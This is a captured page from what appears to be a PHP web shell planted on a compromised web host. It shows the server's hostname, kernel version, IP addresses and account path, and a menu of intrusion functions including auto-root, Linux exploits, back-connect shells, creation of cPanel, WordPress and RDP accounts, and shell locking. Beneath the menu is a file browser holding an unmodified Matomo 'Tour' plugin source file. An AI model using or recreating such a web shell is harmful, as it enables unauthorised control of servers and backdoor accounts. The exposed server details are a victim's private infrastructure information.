Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.226.94.64
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
plugins /
Tour /
[ HOME SHELL ]
Name
Size
Permission
Action
Dao
[ DIR ]
drwxr-xr-x
Engagement
[ DIR ]
drwxr-xr-x
Widgets
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
javascripts
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
stylesheets
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
API.php
3.64
KB
-rw-r--r--
CHANGELOG.md
38
B
-rw-r--r--
Tour.php
5.14
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Tour.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik\Plugins\Tour; use Piwik\Common; use Piwik\Container\StaticContainer; use Piwik\Piwik; use Piwik\Plugins\CoreVisualizations\Visualizations\JqplotGraph\Evolution; use Piwik\Plugins\CoreVisualizations\Visualizations\Sparkline; use Piwik\Plugins\Tour\Engagement\Challenge; use Piwik\Plugins\Tour\Engagement\ChallengeAddedAnnotation; use Piwik\Plugins\Tour\Engagement\ChallengeAddedUser; use Piwik\Plugins\Tour\Engagement\ChallengeBrowseMarketplace; use Piwik\Plugins\Tour\Engagement\ChallengeChangeVisualisation; use Piwik\Plugins\Tour\Engagement\ChallengeCreatedGoal; use Piwik\Plugins\Tour\Engagement\ChallengeFlattenActions; use Piwik\Plugins\Tour\Engagement\ChallengeSelectDateRange; use Piwik\Plugins\Tour\Engagement\ChallengeViewRowEvolution; use Piwik\Plugins\Tour\Engagement\ChallengeViewVisitorProfile; use Piwik\Plugins\Tour\Engagement\ChallengeViewVisitsLog; class Tour extends \Piwik\Plugin { public function registerEvents() { return array( 'AssetManager.getStylesheetFiles' => 'getStylesheetFiles', 'AssetManager.getJavaScriptFiles' => 'getJsFiles', 'Dashboard.changeDefaultDashboardLayout' => 'changeDefaultDashboardLayout', 'API.Annotations.add.end' => 'onAnnotationAdded', 'API.Goals.addGoal.end' => 'onGoalAdded', 'API.UsersManager.addUser' => 'onUserAdded', 'Controller.CoreHome.getRowEvolutionPopover' => 'onViewRowEvolution', 'Controller.Live.getLastVisitsDetails' => 'onViewVisitorLog', 'Controller.Live.getVisitorProfilePopup' => 'onViewVisitorProfile', 'Controller.Marketplace.overview' => 'onBrowseMarketplace', 'ViewDataTable.configure' => array('function' => 'onConfigureView', 'after' => true), ); } public function onBrowseMarketplace() { $this->setSimpleChallengeCompleted(ChallengeBrowseMarketplace::class); } public function onConfigureView() { if (Common::getRequestVar('period', '', 'string') === 'range') { $this->setSimpleChallengeCompleted(ChallengeSelectDateRange::class); } if (Common::getRequestVar('flat', '0', 'string') === '1') { $module = Piwik::getModule(); if ($module === 'Actions' || $module === 'Contents' || $module === 'UsersFlow') { $this->setSimpleChallengeCompleted(ChallengeFlattenActions::class); } } $viewDataTable = Common::getRequestVar('viewDataTable', '', 'string'); if ($viewDataTable && !Common::getRequestVar('forceView', '', 'string')) { if ($viewDataTable !== Sparkline::ID && $viewDataTable !== Evolution::ID) { // sparkline and graphEvolution may be used without forceView $this->setSimpleChallengeCompleted(ChallengeChangeVisualisation::class); } } } private function setSimpleChallengeCompleted($className) { if (Piwik::hasUserSuperUserAccess()) { /** @var Challenge $challenge */ $challenge = StaticContainer::get($className); $challenge->setCompleted(); } } public function onViewRowEvolution() { $this->setSimpleChallengeCompleted(ChallengeViewRowEvolution::class); } public function onViewVisitorLog() { $this->setSimpleChallengeCompleted(ChallengeViewVisitsLog::class); } public function onViewVisitorProfile() { $this->setSimpleChallengeCompleted(ChallengeViewVisitorProfile::class); } public function onAnnotationAdded($response) { if (Piwik::hasUserSuperUserAccess() && !empty($response)) { $annotation = new ChallengeAddedAnnotation(); $annotation->setCompleted(); } } public function onGoalAdded($response) { if (Piwik::hasUserSuperUserAccess() && !empty($response)) { $annotation = new ChallengeCreatedGoal(); $annotation->setCompleted(); } } public function onUserAdded($response) { if (Piwik::hasUserSuperUserAccess()) { $annotation = new ChallengeAddedUser(); $annotation->setCompleted(); } } public function changeDefaultDashboardLayout(&$defaultLayout) { if (Piwik::hasUserSuperUserAccess()) { $defaultLayout = json_decode($defaultLayout, true); $engagementWidget = array('uniqueId' => 'widgetTourgetEngagement', 'parameters' => array('module' => 'Tour', 'action' => 'getEngagement')); if (is_array($defaultLayout) && isset($defaultLayout[2]) && is_array($defaultLayout[2])) { array_unshift($defaultLayout[2], $engagementWidget); } $defaultLayout = json_encode($defaultLayout); } } public function getStylesheetFiles(&$stylesheets) { $stylesheets[] = "plugins/Tour/stylesheets/engagement.less"; } public function getJsFiles(&$jsFiles) { $jsFiles[] = "plugins/Tour/javascripts/engagement.js"; } }
Close